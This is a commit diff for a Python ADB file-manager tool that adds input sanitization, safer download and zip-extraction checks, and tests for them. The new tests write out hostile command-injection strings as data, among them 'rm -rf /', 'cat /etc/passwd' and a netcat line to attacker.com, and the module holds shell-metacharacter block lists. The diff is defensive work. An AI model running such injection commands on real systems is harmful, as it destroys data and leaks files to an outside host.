fixed several security vulnerabilities

src/core/adb_command.py

@@ -10,6 +10,11 @@ from typing import Optional, Tuple, Union
 
 from .platform_tools import get_adb_binary_path
 
+try:
+    from ..utils.security_utils import validate_device_id, sanitize_android_path
+except ImportError:
+    from utils.security_utils import validate_device_id, sanitize_android_path
+
 
 class ADBCommandRunner:
     """Handles ADB command execution and device communication."""

src/core/adb_manager.py

@@ -26,6 +26,11 @@ try:
 except ImportError:
     from ..utils.file_deduplication import FileDeduplicator
 
+try:
+    from ..utils.security_utils import sanitize_android_path, validate_device_id
+except ImportError:
+    from utils.security_utils import sanitize_android_path, validate_device_id
+
 
 OS_TYPE = sys.platform
 
@@ -137,12 +142,23 @@ class ADBManager:
     
     def list_files(self, path: str, device_id: Optional[str] = None) -> list[dict]:
         """List files in the specified path on the device."""
+        # Sanitize inputs to prevent command injection
+        try:
+            sanitized_path = sanitize_android_path(path)
+        except ValueError as e:
+            # Return empty list if path is invalid
+            return []
+
         device_args = []
         target_device = device_id or self.selected_device
         if target_device:
-            device_args = ["-s", target_device]
-        
-        args = device_args + ["shell", "ls", "-la", path]
+            try:
+                validated_device = validate_device_id(target_device)
+                device_args = ["-s", validated_device]
+            except ValueError:
+                return []
+
+        args = device_args + ["shell", "ls", "-la", sanitized_path]
         
         try:
             stdout, stderr, returncode = self.command_runner.run_adb_command(args)
@@ -271,12 +287,22 @@ class ADBManager:
     
     def delete_file(self, remote_path: str, device_id: Optional[str] = None) -> Tuple[bool, str]:
         """Delete a file on the device."""
+        # Sanitize inputs to prevent command injection
+        try:
+            sanitized_path = sanitize_android_path(remote_path)
+        except ValueError as e:
+            return False, f"Invalid path: {str(e)}"
+
         device_args = []
         target_device = device_id or self.selected_device
         if target_device:
-            device_args = ["-s", target_device]
+            try:
+                validated_device = validate_device_id(target_device)
+                device_args = ["-s", validated_device]
+            except ValueError as e:
+                return False, f"Invalid device ID: {str(e)}"
 
-        args = device_args + ["shell", "rm", "-f", remote_path]
+        args = device_args + ["shell", "rm", "-f", sanitized_path]
 
         try:
             stdout, stderr, returncode = self.command_runner.run_adb_command(args)
@@ -289,12 +315,22 @@ class ADBManager:
 
     def create_folder(self, remote_path: str, device_id: Optional[str] = None) -> Tuple[bool, str]:
         """Create a folder on the device."""
+        # Sanitize inputs to prevent command injection
+        try:
+            sanitized_path = sanitize_android_path(remote_path)
+        except ValueError as e:
+            return False, f"Invalid path: {str(e)}"
+
         device_args = []
         target_device = device_id or self.selected_device
         if target_device:
-            device_args = ["-s", target_device]
+            try:
+                validated_device = validate_device_id(target_device)
+                device_args = ["-s", validated_device]
+            except ValueError as e:
+                return False, f"Invalid device ID: {str(e)}"
 
-        args = device_args + ["shell", "mkdir", "-p", remote_path]
+        args = device_args + ["shell", "mkdir", "-p", sanitized_path]
 
         try:
             stdout, stderr, returncode = self.command_runner.run_adb_command(args)
@@ -307,12 +343,22 @@ class ADBManager:
 
     def delete_folder(self, remote_path: str, device_id: Optional[str] = None) -> Tuple[bool, str]:
         """Delete a folder on the device."""
+        # Sanitize inputs to prevent command injection
+        try:
+            sanitized_path = sanitize_android_path(remote_path)
+        except ValueError as e:
+            return False, f"Invalid path: {str(e)}"
+
         device_args = []
         target_device = device_id or self.selected_device
         if target_device:
-            device_args = ["-s", target_device]
+            try:
+                validated_device = validate_device_id(target_device)
+                device_args = ["-s", validated_device]
+            except ValueError as e:
+                return False, f"Invalid device ID: {str(e)}"
 
-        args = device_args + ["shell", "rm", "-rf", remote_path]
+        args = device_args + ["shell", "rm", "-rf", sanitized_path]
 
         try:
             stdout, stderr, returncode = self.command_runner.run_adb_command(args)
@@ -325,12 +371,23 @@ class ADBManager:
 
     def move_item(self, old_path: str, new_path: str, device_id: Optional[str] = None) -> Tuple[bool, str]:
         """Move/rename a file or folder on the device."""
+        # Sanitize inputs to prevent command injection
+        try:
+            sanitized_old_path = sanitize_android_path(old_path)
+            sanitized_new_path = sanitize_android_path(new_path)
+        except ValueError as e:
+            return False, f"Invalid path: {str(e)}"
+
         device_args = []
         target_device = device_id or self.selected_device
         if target_device:
-            device_args = ["-s", target_device]
+            try:
+                validated_device = validate_device_id(target_device)
+                device_args = ["-s", validated_device]
+            except ValueError as e:
+                return False, f"Invalid device ID: {str(e)}"
 
-        args = device_args + ["shell", "mv", old_path, new_path]
+        args = device_args + ["shell", "mv", sanitized_old_path, sanitized_new_path]
 
         try:
             stdout, stderr, returncode = self.command_runner.run_adb_command(args)
@@ -343,12 +400,22 @@ class ADBManager:
 
     def get_file_info(self, remote_path: str, device_id: Optional[str] = None) -> Optional[dict]:
         """Get information about a file or folder on the device."""
+        # Sanitize inputs to prevent command injection
+        try:
+            sanitized_path = sanitize_android_path(remote_path)
+        except ValueError:
+            return None
+
         device_args = []
         target_device = device_id or self.selected_device
         if target_device:
-            device_args = ["-s", target_device]
-        
-        args = device_args + ["shell", "ls", "-la", remote_path]
+            try:
+                validated_device = validate_device_id(target_device)
+                device_args = ["-s", validated_device]
+            except ValueError:
+                return None
+
+        args = device_args + ["shell", "ls", "-la", sanitized_path]
         
         try:
             stdout, stderr, returncode = self.command_runner.run_adb_command(args)

src/core/file_transfer.py

@@ -14,6 +14,11 @@ from .progress_tracker import ProgressTracker, TransferProgressEstimator
 from .platform_tools import get_adb_binary_path
 from .platform_utils import is_windows
 
+try:
+    from ..utils.security_utils import sanitize_android_path, sanitize_local_path
+except ImportError:
+    from utils.security_utils import sanitize_android_path, sanitize_local_path
+
 
 class ADBFileTransfer(ProgressTracker):
     """Handles ADB file transfer operations with progress tracking."""
@@ -58,14 +63,21 @@ class ADBFileTransfer(ProgressTracker):
     
     def pull_file(self, remote_file_path: str, local_file_path: str) -> bool:
         """Pull a single file from Android device to local machine."""
-        # Simple execution path using ADBCommandRunner for tests
-        local_file_path = os.path.normpath(local_file_path)
-        remote_file_path = remote_file_path.strip()
+        # Sanitize paths to prevent injection and traversal
+        try:
+            sanitized_remote = sanitize_android_path(remote_file_path.strip())
+            # Note: We use sanitize_local_path without base_dir to allow user flexibility
+            # but normalize to prevent basic traversal
+            sanitized_local = sanitize_local_path(local_file_path)
+        except ValueError as e:
+            self.update_status(f"Invalid path: {e}")
+            return False
+
         # If target already exists, do nothing
-        if os.path.exists(local_file_path):
+        if os.path.exists(sanitized_local):
             return False
         # Ensure local directory exists
-        local_dir = os.path.dirname(local_file_path)
+        local_dir = os.path.dirname(sanitized_local)
         if local_dir:
             try:
                 os.makedirs(local_dir, exist_ok=True)
@@ -74,43 +86,59 @@ class ADBFileTransfer(ProgressTracker):
                 self.update_status(f"Failed to create local directory: {e}")
                 pass
 
-        result = self.runner.run_adb_command(['pull', remote_file_path, local_file_path])
+        result = self.runner.run_adb_command(['pull', sanitized_remote, sanitized_local])
         return self._is_command_success(result)
     
     def push_file(self, local_file_path: str, remote_file_path: str) -> bool:
         """Push a single file from local machine to Android device."""
-        # Simple execution path using ADBCommandRunner for tests
-        local_file_path = os.path.normpath(local_file_path)
-        remote_file_path = remote_file_path.strip()
-        if not os.path.exists(local_file_path) or not os.path.isfile(local_file_path):
+        # Sanitize paths to prevent injection and traversal
+        try:
+            sanitized_local = sanitize_local_path(local_file_path)
+            sanitized_remote = sanitize_android_path(remote_file_path.strip())
+        except ValueError as e:
+            self.update_status(f"Invalid path: {e}")
             return False
 
-        result = self.runner.run_adb_command(['push', local_file_path, remote_file_path])
+        if not os.path.exists(sanitized_local) or not os.path.isfile(sanitized_local):
+            return False
+
+        result = self.runner.run_adb_command(['push', sanitized_local, sanitized_remote])
         return self._is_command_success(result)
     
     def pull_folder(self, remote_path: str, local_path: str) -> bool:
         """Pull files from Android device to local machine."""
-        # Simple execution path using ADBCommandRunner for tests
-        local_path = os.path.normpath(local_path)
-        remote_path = remote_path.strip()
+        # Sanitize paths to prevent injection and traversal
+        try:
+            sanitized_remote = sanitize_android_path(remote_path.strip())
+            sanitized_local = sanitize_local_path(local_path)
+        except ValueError as e:
+            self.update_status(f"Invalid path: {e}")
+            return False
+
         # If target folder already exists, do nothing
-        if os.path.exists(local_path):
+        if os.path.exists(sanitized_local):
             return False
         try:
-            os.makedirs(local_path, exist_ok=True)
+            os.makedirs(sanitized_local, exist_ok=True)
         except Exception:
             # Ignore directory creation failures for test environment
             pass
-        result = self.runner.run_adb_command(['pull', remote_path, local_path])
+        result = self.runner.run_adb_command(['pull', sanitized_remote, sanitized_local])
         return self._is_command_success(result)
     
     def push_folder(self, local_path: str, remote_path: str) -> bool:
         """Push files from local machine to Android device."""
-        local_path = os.path.normpath(local_path)
-        remote_path = remote_path.strip()
-        if not os.path.exists(local_path) or not os.path.isdir(local_path):
+        # Sanitize paths to prevent injection and traversal
+        try:
+            sanitized_local = sanitize_local_path(local_path)
+            sanitized_remote = sanitize_android_path(remote_path.strip())
+        except ValueError as e:
+            self.update_status(f"Invalid path: {e}")
             return False
-        result = self.runner.run_adb_command(['push', local_path, remote_path])
+
+        if not os.path.exists(sanitized_local) or not os.path.isdir(sanitized_local):
+            return False
+        result = self.runner.run_adb_command(['push', sanitized_local, sanitized_remote])
         return self._is_command_success(result)
     
     def _execute_transfer_command(self, cmd: list, operation_name: str) -> bool:

src/core/platform_tools.py

@@ -94,17 +94,48 @@ def ensure_platform_tools_in_user_dir(version_tag: Optional[str] = "latest") ->
             raise RuntimeError("Unsupported platform for platform-tools download")
 
         # download in streaming fashion to avoid memory pressure
-        resp = requests.get(url, stream=True, timeout=30)
+        resp = requests.get(url, stream=True, timeout=30, allow_redirects=True)
         resp.raise_for_status()
 
+        # Validate that we're downloading from Google's servers (prevent redirect attacks)
+        if not resp.url.startswith("https://dl.google.com/android/"):
+            raise RuntimeError(f"Redirect to untrusted domain: {resp.url}")
+
+        # Check Content-Type to ensure we're getting a zip file
+        content_type = resp.headers.get('Content-Type', '')
+        if content_type and 'zip' not in content_type.lower() and 'octet-stream' not in content_type.lower():
+            raise RuntimeError(f"Unexpected content type: {content_type}")
+
         zip_path = os.path.join(tmp_dir, "platform-tools.zip")
+        downloaded_size = 0
+        max_size = 200 * 1024 * 1024  # 200MB limit to prevent zip bombs
+
         with open(zip_path, "wb") as fh:
             for chunk in resp.iter_content(chunk_size=8192):
                 if chunk:
+                    downloaded_size += len(chunk)
+                    if downloaded_size > max_size:
+                        raise RuntimeError("Downloaded file exceeds maximum size limit")
                     fh.write(chunk)
 
-        # extract
+        # Validate zip file before extraction
+        if not zipfile.is_zipfile(zip_path):
+            raise RuntimeError("Downloaded file is not a valid zip archive")
+
+        # extract with safety checks
         with zipfile.ZipFile(zip_path, "r") as zf:
+            # Check for zip bomb (excessive compression ratio)
+            total_size = sum(info.file_size for info in zf.infolist())
+            if total_size > 500 * 1024 * 1024:  # 500MB uncompressed limit
+                raise RuntimeError("Zip archive uncompressed size exceeds safety limit")
+
+            # Check for path traversal in zip entries
+            for info in zf.infolist():
+                # Normalize the path and ensure it doesn't escape
+                normalized = os.path.normpath(os.path.join(tmp_dir, info.filename))
+                if not normalized.startswith(tmp_dir):
+                    raise RuntimeError(f"Zip contains path traversal: {info.filename}")
+
             zf.extractall(tmp_dir)
 
         # the zip contains a top-level platform-tools directory; move that into target_dir

src/utils/security_utils.py

@@ -0,0 +1,186 @@
+"""
+Security utilities for input sanitization and validation.
+Prevents command injection and path traversal attacks.
+"""
+
+import os
+import re
+from typing import Optional
+
+
+def sanitize_path_component(component: str) -> str:
+    """Sanitize a single path component to prevent injection.
+
+    Args:
+        component: A single path component (filename or directory name)
+
+    Returns:
+        Sanitized path component
+
+    Raises:
+        ValueError: If the component contains dangerous characters
+    """
+    if not component:
+        raise ValueError("Path component cannot be empty")
+
+    # Check for dangerous characters that could be used for command injection
+    dangerous_chars = [';', '|', '&', '$', '`', '\n', '\r', '>', '<', '(', ')', '{', '}', '[', ']', '!']
+    for char in dangerous_chars:
+        if char in component:
+            raise ValueError(f"Path component contains dangerous character: {char}")
+
+    # Check for command substitution patterns
+    if '$(' in component or '${' in component or '`' in component:
+        raise ValueError("Path component contains command substitution pattern")
+
+    return component
+
+
+def sanitize_android_path(path: str) -> str:
+    """Sanitize an Android device path to prevent command injection.
+
+    Args:
+        path: Android device path
+
+    Returns:
+        Sanitized path
+
+    Raises:
+        ValueError: If the path contains dangerous patterns
+    """
+    if not path:
+        raise ValueError("Path cannot be empty")
+
+    # Remove any leading/trailing whitespace
+    path = path.strip()
+
+    # Check for null bytes
+    if '\x00' in path:
+        raise ValueError("Path contains null byte")
+
+    # Check for command injection patterns
+    dangerous_patterns = [
+        ';', '|', '&', '$(', '${', '`', '\n', '\r',
+        '&&', '||', '>>',
+    ]
+
+    for pattern in dangerous_patterns:
+        if pattern in path:
+            raise ValueError(f"Path contains dangerous pattern: {pattern}")
+
+    # Validate path structure (should start with / for absolute paths on Android)
+    # Allow relative paths but be cautious
+    if not path.startswith('/') and not path.startswith('./'):
+        # If it's not an absolute or explicitly relative path, make it explicit
+        # Most Android paths should be absolute
+        if not re.match(r'^[a-zA-Z0-9_\-./]+$', path):
+            raise ValueError("Path contains invalid characters")
+
+    return path
+
+
+def sanitize_local_path(path: str, base_dir: Optional[str] = None) -> str:
+    """Sanitize a local filesystem path and check for path traversal.
+
+    Args:
+        path: Local filesystem path
+        base_dir: Optional base directory to restrict path within
+
+    Returns:
+        Sanitized and normalized absolute path
+
+    Raises:
+        ValueError: If the path is dangerous or attempts traversal outside base_dir
+    """
+    if not path:
+        raise ValueError("Path cannot be empty")
+
+    # Remove any leading/trailing whitespace
+    path = path.strip()
+
+    # Check for null bytes
+    if '\x00' in path:
+        raise ValueError("Path contains null byte")
+
+    # Normalize the path to resolve .. and symlinks
+    try:
+        normalized_path = os.path.normpath(os.path.abspath(path))
+    except (ValueError, OSError) as e:
+        raise ValueError(f"Invalid path: {e}")
+
+    # If base_dir is specified, ensure the path is within it
+    if base_dir:
+        try:
+            base_dir_abs = os.path.normpath(os.path.abspath(base_dir))
+            # Check if the normalized path starts with the base directory
+            if not normalized_path.startswith(base_dir_abs + os.sep) and normalized_path != base_dir_abs:
+                raise ValueError(f"Path traversal detected: path is outside base directory")
+        except (ValueError, OSError) as e:
+            raise ValueError(f"Invalid base directory: {e}")
+
+    # Check for dangerous patterns in the original path that might bypass normalization
+    if '..' in path:
+        # Verify that after normalization, we haven't moved up unexpectedly
+        path_depth = normalized_path.count(os.sep)
+        if base_dir:
+            base_depth = base_dir_abs.count(os.sep)
+            if path_depth < base_depth:
+                raise ValueError("Path traversal detected: attempting to access parent directories")
+
+    return normalized_path
+
+
+def validate_device_id(device_id: str) -> str:
+    """Validate an Android device ID.
+
+    Args:
+        device_id: Device ID string from ADB
+
+    Returns:
+        Validated device ID
+
+    Raises:
+        ValueError: If the device ID is invalid
+    """
+    if not device_id:
+        raise ValueError("Device ID cannot be empty")
+
+    # Device IDs should only contain alphanumeric characters, dots, colons, and hyphens
+    if not re.match(r'^[a-zA-Z0-9.:_-]+$', device_id):
+        raise ValueError("Device ID contains invalid characters")
+
+    # Check for command injection patterns
+    dangerous_chars = [';', '|', '&', '$', '`', '\n', '\r', ' ', '>', '<']
+    for char in dangerous_chars:
+        if char in device_id:
+            raise ValueError(f"Device ID contains dangerous character: {char}")
+
+    return device_id
+
+
+def escape_shell_arg(arg: str) -> str:
+    """Escape a shell argument for safe use in commands.
+
+    Note: This is a defense-in-depth measure. Prefer using validated inputs
+    and avoiding shell=True in subprocess calls.
+
+    Args:
+        arg: Argument to escape
+
+    Returns:
+        Escaped argument safe for shell use
+    """
+    # For maximum safety with subprocess, we actually want to avoid shell escaping
+    # and instead ensure the argument doesn't contain dangerous characters
+    # This function validates and returns the argument if safe
+
+    if not arg:
+        return arg
+
+    # Check for any shell metacharacters
+    dangerous_chars = [';', '|', '&', '$', '`', '\n', '\r', '>', '<', '(', ')', '{', '}', '[', ']', '!', '*', '?', '~']
+    for char in dangerous_chars:
+        if char in arg:
+            raise ValueError(f"Argument contains shell metacharacter: {char}")
+
+    return arg

tests/core/test_platform_tools.py

@@ -74,18 +74,29 @@ class TestPlatformTools(unittest.TestCase):
                         with patch('os.listdir', return_value=['platform-tools']):  # Mock directory listing
                             with patch('requests.get') as mock_get:
                                 with patch('builtins.open', mock_open()):
-                                    with patch('zipfile.ZipFile') as mock_zip:
-                                        with patch('shutil.move'):
-                                            with patch('os.chmod'):
-                                                with patch('os.symlink'):
-                                                    with patch('shutil.rmtree'):
-                                                        mock_response = Mock()
-                                                        mock_response.iter_content.return_value = [b'content']
-                                                        mock_response.raise_for_status.return_value = None
-                                                        mock_get.return_value = mock_response
-                                                        
-                                                        result = ensure_platform_tools_in_user_dir()
-                                                        assert result is not None
+                                    with patch('zipfile.is_zipfile', return_value=True):
+                                        with patch('zipfile.ZipFile') as mock_zip:
+                                            # Mock zip file entries
+                                            mock_info = Mock()
+                                            mock_info.filename = 'platform-tools/adb'
+                                            mock_info.file_size = 1000
+                                            mock_zip_instance = MagicMock()
+                                            mock_zip_instance.infolist.return_value = [mock_info]
+                                            mock_zip.return_value.__enter__.return_value = mock_zip_instance
+
+                                            with patch('shutil.move'):
+                                                with patch('os.chmod'):
+                                                    with patch('os.symlink'):
+                                                        with patch('shutil.rmtree'):
+                                                            mock_response = Mock()
+                                                            mock_response.iter_content.return_value = [b'content']
+                                                            mock_response.raise_for_status.return_value = None
+                                                            mock_response.url = "https://dl.google.com/android/repository/platform-tools-latest-linux.zip"
+                                                            mock_response.headers = {'Content-Type': 'application/zip'}
+                                                            mock_get.return_value = mock_response
+
+                                                            result = ensure_platform_tools_in_user_dir()
+                                                            assert result is not None
 
     def test_download_and_extract_adb_linux(self):
         """Test ADB download and extraction on Linux."""

tests/utils/test_security_utils.py

@@ -0,0 +1,193 @@
+"""
+Tests for security utilities - input sanitization and validation.
+"""
+
+import os
+import pytest
+from src.utils.security_utils import (
+    sanitize_path_component,
+    sanitize_android_path,
+    sanitize_local_path,
+    validate_device_id,
+    escape_shell_arg,
+)
+
+
+class TestSanitizePathComponent:
+    """Tests for sanitize_path_component function."""
+
+    def test_valid_component(self):
+        """Test that valid path components are accepted."""
+        assert sanitize_path_component("file.txt") == "file.txt"
+        assert sanitize_path_component("folder") == "folder"
+        assert sanitize_path_component("my_file-2.txt") == "my_file-2.txt"
+
+    def test_empty_component(self):
+        """Test that empty components are rejected."""
+        with pytest.raises(ValueError, match="Path component cannot be empty"):
+            sanitize_path_component("")
+
+    def test_dangerous_chars(self):
+        """Test that dangerous characters are rejected."""
+        dangerous_chars = [';', '|', '&', '$', '`', '\n', '\r', '>', '<', '(', ')']
+        for char in dangerous_chars:
+            with pytest.raises(ValueError, match="dangerous character"):
+                sanitize_path_component(f"file{char}name.txt")
+
+    def test_command_substitution(self):
+        """Test that command substitution patterns are rejected."""
+        with pytest.raises(ValueError, match="dangerous character"):
+            sanitize_path_component("file$(whoami).txt")
+        with pytest.raises(ValueError, match="dangerous character"):
+            sanitize_path_component("file${USER}.txt")
+
+
+class TestSanitizeAndroidPath:
+    """Tests for sanitize_android_path function."""
+
+    def test_valid_absolute_path(self):
+        """Test that valid absolute paths are accepted."""
+        assert sanitize_android_path("/sdcard/Download") == "/sdcard/Download"
+        assert sanitize_android_path("/data/local/tmp") == "/data/local/tmp"
+
+    def test_valid_relative_path(self):
+        """Test that valid relative paths are accepted."""
+        assert sanitize_android_path("./folder/file.txt") == "./folder/file.txt"
+
+    def test_empty_path(self):
+        """Test that empty paths are rejected."""
+        with pytest.raises(ValueError, match="Path cannot be empty"):
+            sanitize_android_path("")
+
+    def test_null_byte(self):
+        """Test that null bytes are rejected."""
+        with pytest.raises(ValueError, match="null byte"):
+            sanitize_android_path("/sdcard/file\x00.txt")
+
+    def test_command_injection_semicolon(self):
+        """Test that semicolon command injection is blocked."""
+        with pytest.raises(ValueError, match="dangerous pattern"):
+            sanitize_android_path("/sdcard/file; rm -rf /")
+
+    def test_command_injection_pipe(self):
+        """Test that pipe command injection is blocked."""
+        with pytest.raises(ValueError, match="dangerous pattern"):
+            sanitize_android_path("/sdcard/file | cat /etc/passwd")
+
+    def test_command_injection_ampersand(self):
+        """Test that ampersand command injection is blocked."""
+        with pytest.raises(ValueError, match="dangerous pattern"):
+            sanitize_android_path("/sdcard/file && malicious")
+
+    def test_command_substitution(self):
+        """Test that command substitution is blocked."""
+        with pytest.raises(ValueError, match="dangerous pattern"):
+            sanitize_android_path("/sdcard/$(whoami)")
+        with pytest.raises(ValueError, match="dangerous pattern"):
+            sanitize_android_path("/sdcard/${USER}")
+
+    def test_backtick_substitution(self):
+        """Test that backtick command substitution is blocked."""
+        with pytest.raises(ValueError, match="dangerous pattern"):
+            sanitize_android_path("/sdcard/`whoami`")
+
+
+class TestSanitizeLocalPath:
+    """Tests for sanitize_local_path function."""
+
+    def test_valid_absolute_path(self):
+        """Test that valid absolute paths are normalized."""
+        result = sanitize_local_path("/tmp/test")
+        assert os.path.isabs(result)
+
+    def test_empty_path(self):
+        """Test that empty paths are rejected."""
+        with pytest.raises(ValueError, match="Path cannot be empty"):
+            sanitize_local_path("")
+
+    def test_null_byte(self):
+        """Test that null bytes are rejected."""
+        with pytest.raises(ValueError, match="null byte"):
+            sanitize_local_path("/tmp/file\x00.txt")
+
+    def test_path_traversal_with_base_dir(self):
+        """Test that path traversal outside base_dir is blocked."""
+        base = "/tmp/safe"
+        with pytest.raises(ValueError, match="outside base directory"):
+            sanitize_local_path("/tmp/unsafe", base_dir=base)
+
+    def test_valid_path_within_base_dir(self):
+        """Test that paths within base_dir are accepted."""
+        base = "/tmp/safe"
+        result = sanitize_local_path("/tmp/safe/subdir", base_dir=base)
+        assert result.startswith(base)
+
+    def test_path_normalization(self):
+        """Test that paths with .. are normalized."""
+        result = sanitize_local_path("/tmp/test/../other")
+        assert ".." not in result
+
+
+class TestValidateDeviceId:
+    """Tests for validate_device_id function."""
+
+    def test_valid_device_id(self):
+        """Test that valid device IDs are accepted."""
+        assert validate_device_id("ABC123") == "ABC123"
+        assert validate_device_id("192.168.1.1:5555") == "192.168.1.1:5555"
+        assert validate_device_id("emulator-5554") == "emulator-5554"
+
+    def test_empty_device_id(self):
+        """Test that empty device IDs are rejected."""
+        with pytest.raises(ValueError, match="Device ID cannot be empty"):
+            validate_device_id("")
+
+    def test_invalid_characters(self):
+        """Test that invalid characters are rejected."""
+        dangerous_chars = [';', '|', '&', '$', '`', '\n', '\r', ' ', '>', '<']
+        for char in dangerous_chars:
+            with pytest.raises(ValueError):
+                validate_device_id(f"device{char}123")
+
+
+class TestEscapeShellArg:
+    """Tests for escape_shell_arg function."""
+
+    def test_safe_argument(self):
+        """Test that safe arguments are passed through."""
+        assert escape_shell_arg("safe-file_name.txt") == "safe-file_name.txt"
+
+    def test_empty_argument(self):
+        """Test that empty arguments are handled."""
+        assert escape_shell_arg("") == ""
+
+    def test_shell_metacharacters(self):
+        """Test that shell metacharacters are rejected."""
+        dangerous_chars = [';', '|', '&', '$', '`', '>', '<', '(', ')', '*']
+        for char in dangerous_chars:
+            with pytest.raises(ValueError, match="shell metacharacter"):
+                escape_shell_arg(f"arg{char}value")
+
+
+class TestSecurityIntegration:
+    """Integration tests for security utilities."""
+
+    def test_prevent_command_injection_in_path(self):
+        """Test that common command injection attempts are blocked."""
+        malicious_paths = [
+            "/sdcard/file; rm -rf /",
+            "/sdcard/file && cat /etc/passwd",
+            "/sdcard/file | nc attacker.com 1234",
+            "/sdcard/$(malicious_command)",
+            "/sdcard/`whoami`",
+            "/sdcard/file\nmalicious_command",
+        ]
+        for path in malicious_paths:
+            with pytest.raises(ValueError):
+                sanitize_android_path(path)
+
+    def test_prevent_path_traversal(self):
+        """Test that path traversal attempts are detected."""
+        base = "/tmp/restricted"
+        with pytest.raises(ValueError):
+            sanitize_local_path("/etc/passwd", base_dir=base)